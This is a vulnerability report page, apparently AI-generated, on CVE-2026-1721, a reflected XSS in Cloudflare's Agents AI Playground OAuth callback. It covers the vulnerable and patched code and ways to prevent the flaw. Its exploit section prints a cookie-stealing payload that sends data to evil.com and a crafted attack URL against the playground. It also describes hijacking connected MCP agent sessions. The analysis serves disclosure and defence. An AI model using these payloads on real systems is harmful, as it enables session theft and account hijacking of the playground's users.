CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-1721

CVE-2026-1721: When JSON.stringify() Betrays You in Cloudflare Agents

Alon Barad
Alon Barad
Software Engineer

Feb 14, 2026·5 min read·90 visits

Executive Summary (TL;DR)

Reflected XSS in Cloudflare Agents AI Playground (< 0.3.10) via OAuth callbacks. Developers used `JSON.stringify` inside a `<script>` block, assuming it was safe. It wasn't. Attackers can inject `</script>` to break out and steal chat logs or hijack MCP sessions.

A classic Reflected Cross-Site Scripting (XSS) vulnerability found in the Cloudflare Agents AI Playground. The flaw stems from a misunderstanding of how browsers parse script tags within inline HTML, allowing attackers to break out of a JSON string context and execute arbitrary JavaScript. This exposes sensitive LLM chat history and connected Model Context Protocol (MCP) servers to unauthorized access.

The Hook: AI, OAuth, and Broken Dreams

Everyone is rushing to build AI Agents right now. It's the new gold rush. Cloudflare joined the party with their Agents SDK, designed to connect Large Language Models (LLMs) to tools via the Model Context Protocol (MCP). To demonstrate this power, they shipped the AI Playground, a nifty web app where developers can test their agents and OAuth flows.

But here's the thing about OAuth: it's a messy dance of redirects, callbacks, and state parameters. When things go wrong—like a user denying access—the provider kicks the user back to the application with an error message. Ideally, the app handles this gracefully.

In the case of the AI Playground, the developers tried to be helpful. They wanted to pop up an alert box telling you exactly why authentication failed. Unfortunately, in their attempt to be helpful, they handed attackers a loaded gun pointed directly at the user's session. It's a classic tale of "functionality over security" meeting "misunderstood browser mechanics."

The Flaw: The Myth of JSON Safety

The vulnerability lies in a dangerous misconception that has plagued web development for decades: the belief that JSON.stringify() is a security function. It is not.

In the vulnerable code, the application receives an error_description query parameter from the URL. To display this to the user, the server constructs an HTML response containing an inline <script> block. The developer logic went like this: "I'll take the untrusted input, wrap it in JSON.stringify(), and that will escape all the quotes. Therefore, it's safe to drop into a JavaScript variable."

Wrong.

While JSON.stringify() does escape quotes (" becomes \"), it does not escape HTML characters like < or /. When a browser parses HTML, it doesn't care about JavaScript syntax rules until it finishes parsing the tags. If the HTML parser sees the sequence </script>, it immediately closes the script block, regardless of whether that sequence is inside a JavaScript string literal. This behavior, known as "script injection via HTML context," allows an attacker to terminate the developer's script prematurely and start their own.

The Code: Anatomy of a Screw-Up

Let's look at the crime scene in site/ai-playground/src/server.ts. This is the customHandler responsible for processing the OAuth callback.

The Vulnerable Code:

customHandler: (result: MCPClientOAuthResult) => {
  // ... success handling omitted ...
 
  // VULNERABLE: result.authError comes from URL query params (?error_description=...)
  const safeError = JSON.stringify(result.authError || "Unknown error");
 
  // The injection happens here inside the Template Literal
  return new Response(
    `<script>alert('Authentication failed: ' + ${safeError}); window.close();</script>`,
    { headers: { "content-type": "text/html" }, status: 200 }
  );
}

Do you see it? The ${safeError} is injected directly into the HTML string. If safeError contains "</script>", the browser sees this:

<script>alert('Authentication failed: ' + "</script> ...

The browser says "Okay, script over!" and dumps the rest of the payload into the DOM as raw HTML. If the attacker follows that closing tag with a new opening <script> tag, they own the execution flow.

The Exploit: Closing the Door to Open a Window

Exploiting this is trivial. We just need to craft a URL that closes the developer's script tag and opens our own. The target is the error_description parameter on the callback endpoint.

The Payload:

</script><script>fetch('https://evil.com/steal?c='+document.cookie)</script>

The Attack URL:

https://ai-playground.cloudflare.com/callback
  ?error=access_denied
  &error_description=</script><script>alert(document.domain)</script>
  &state=VALID_STATE

When the victim clicks this link (perhaps disguised in a phishing email or a "Try my new AI Agent" button), the server responds with:

<script>alert('Authentication failed: ' + "</script><script>alert(document.domain)</script>"); window.close();</script>

Execution Flow:

  1. Browser starts executing the first script.
  2. Browser hits </script> inside the string. Script 1 Terminated.
  3. Browser sees <script>alert(document.domain)</script>. Script 2 Executed.
  4. The attacker's code runs in the context of ai-playground.cloudflare.com.

The Impact: Stealing the Brain

So, we popped an alert box. Who cares? In the context of an AI Playground, the stakes are actually quite high. This isn't just a brochure site; it's a stateful application holding sensitive data.

  1. Chat History Exfiltration: The playground maintains a history of your conversations with the LLM. An attacker can use the XSS to read local storage or session memory and exfiltrate your entire chat history. If you've been pasting API keys or proprietary code into the AI, the attacker has it now.
  2. MCP Server Hijacking: The Model Context Protocol connects the AI to tools. If the victim has authenticated sessions with private MCP servers (e.g., a database connector or a GitHub integration), the attacker can use the XSS to trigger tool calls on those servers. Imagine an attacker forcing your AI agent to commit malicious code to your repo via a compromised playground session.
  3. Session Persistence: By injecting a Service Worker or manipulating local storage, the attacker could maintain persistent access to the playground every time the user returns.

The Fix: Nuke It from Orbit

Cloudflare's fix in version 0.3.10 was simple and effective: they stopped reflecting the error message entirely. Instead of trying to sanitize the input (which is hard to do right in this context without a heavy library), they simply removed the dynamic content from the response.

The Patched Code:

// PATCHED: No more dynamic interpolation
return new Response("<script>window.close();</script>", {
  headers: { "content-type": "text/html" },
});

If the authentication fails, the window simply closes. The error handling was moved to the parent window or handled via safe state management where React's automatic escaping protects the user.

Lesson for Developers: If you find yourself writing strings into a <script> tag manually, stop. You are almost certainly doing it wrong. Pass data via data attributes, CSP-safe JSON script blocks, or—better yet—don't reflect user input in script contexts at all.

Official Patches

CloudflarePull Request #841: Fix XSS in playground

Fix Analysis (1)

Technical Appendix

CVSS Score
6.2/ 10
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:H/SI:L/SA:N
EPSS Probability
0.04%
Top 87% most exploited

Affected Systems

Cloudflare Agents AI PlaygroundApplications using `agents` package < 0.3.10Custom OAuth callback implementations based on the vulnerable example

Affected Versions Detail

Product
Affected Versions
Fixed Version
Cloudflare Agents
Cloudflare
< 0.3.100.3.10
AttributeDetail
Vulnerability TypeReflected Cross-Site Scripting (XSS)
CWE IDCWE-79
CVSS Score6.2 (Medium)
Attack VectorNetwork (Reflected)
Exploit StatusPoC Available
ImpactSession Hijacking, Data Exfiltration

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
T1059.007Command and Scripting Interpreter: JavaScript
Execution
CWE-79
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Vulnerability Timeline

Fix merged in Cloudflare Agents
2026-02-04
CVE-2026-1721 Assigned and Published
2026-02-13

References & Sources

  • [1]GitHub PR #841
  • [2]NVD Entry

More Reports

•2 days ago•CVE-2026-9354
6.9

CVE-2026-9354: Arbitrary Mass Mention Bypass in NousResearch hermes-agent Slack and Mattermost Adapters

A vulnerability in the Slack and Mattermost platform adapters for NousResearch hermes-agent permits an unauthenticated remote attacker to execute arbitrary mass mentions. By leveraging prompt injection, an attacker can bypass output sanitization logic and trigger workspace-wide notification exhaustion.

Alon Barad
Alon Barad
25 views•6 min read
•3 days ago•CVE-2026-9306
6.3

CVE-2026-9306: Unauthenticated Insecure Direct Object Reference (IDOR) in QuantumNous new-api Midjourney Relay

CVE-2026-9306 is a critical unauthenticated Insecure Direct Object Reference (IDOR) vulnerability located in the QuantumNous new-api application, affecting versions up to and including 0.12.1. The flaw is caused by improper middleware ordering combined with a lack of object-level authorization checks. This allows remote, unauthenticated attackers to retrieve sensitive Midjourney images belonging to other users by supplying a valid task identifier.

Amit Schendel
Amit Schendel
11 views•5 min read
•3 days ago•GHSA-GGXF-37HM-9WQF
6.5

GHSA-GGXF-37HM-9WQF: Session Leakage via Unsafe Challenge Path Parsing in instagrapi

The instagrapi library prior to version 2.6.9 contains an improper input validation vulnerability within its challenge handling mechanism. Maliciously crafted server responses can manipulate the client into forwarding session cookies and credentials to an external attacker-controlled domain.

Amit Schendel
Amit Schendel
20 views•6 min read
•4 days ago•GHSA-QQQM-5547-774X
9.1

GHSA-QQQM-5547-774X: Unauthenticated Path Traversal in FileBrowser Quantum PATCH Handler

GHSA-QQQM-5547-774X is a critical path traversal vulnerability in the FileBrowser Quantum application, specifically within the Go backend package. The vulnerability resides in the HTTP handler responsible for processing bulk file modifications via the public API. Unauthenticated attackers can exploit an order-of-operations flaw in the path sanitization logic to bypass intended directory restrictions. This allows adversaries to arbitrarily read, move, and overwrite files on the underlying filesystem by supplying specially crafted HTTP PATCH requests.

Alon Barad
Alon Barad
5 views•6 min read
•4 days ago•CVE-2026-8723
5.3

CVE-2026-8723: Synchronous Denial of Service in qs npm Package via TypeError

The qs query string parsing and serialization library for Node.js is vulnerable to a synchronous Denial of Service (DoS) attack. The vulnerability manifests as a process-terminating TypeError when processing arrays with null or undefined elements under specific configuration parameters.

Amit Schendel
Amit Schendel
34 views•7 min read
•4 days ago•GHSA-7M8F-HGJQ-8GC9
7.5

GHSA-7M8F-HGJQ-8GC9: Pre-Authentication Denial of Service via Insecure Deserialization Order in aiosend

The aiosend library prior to version 3.0.6 contains a pre-authentication Denial of Service (DoS) vulnerability in its webhook handling mechanism. The software processes and deserializes incoming JSON payloads before verifying the cryptographic signature, allowing unauthenticated attackers to exhaust server CPU and memory resources by sending large, complex payloads.

Amit Schendel
Amit Schendel
3 views•6 min read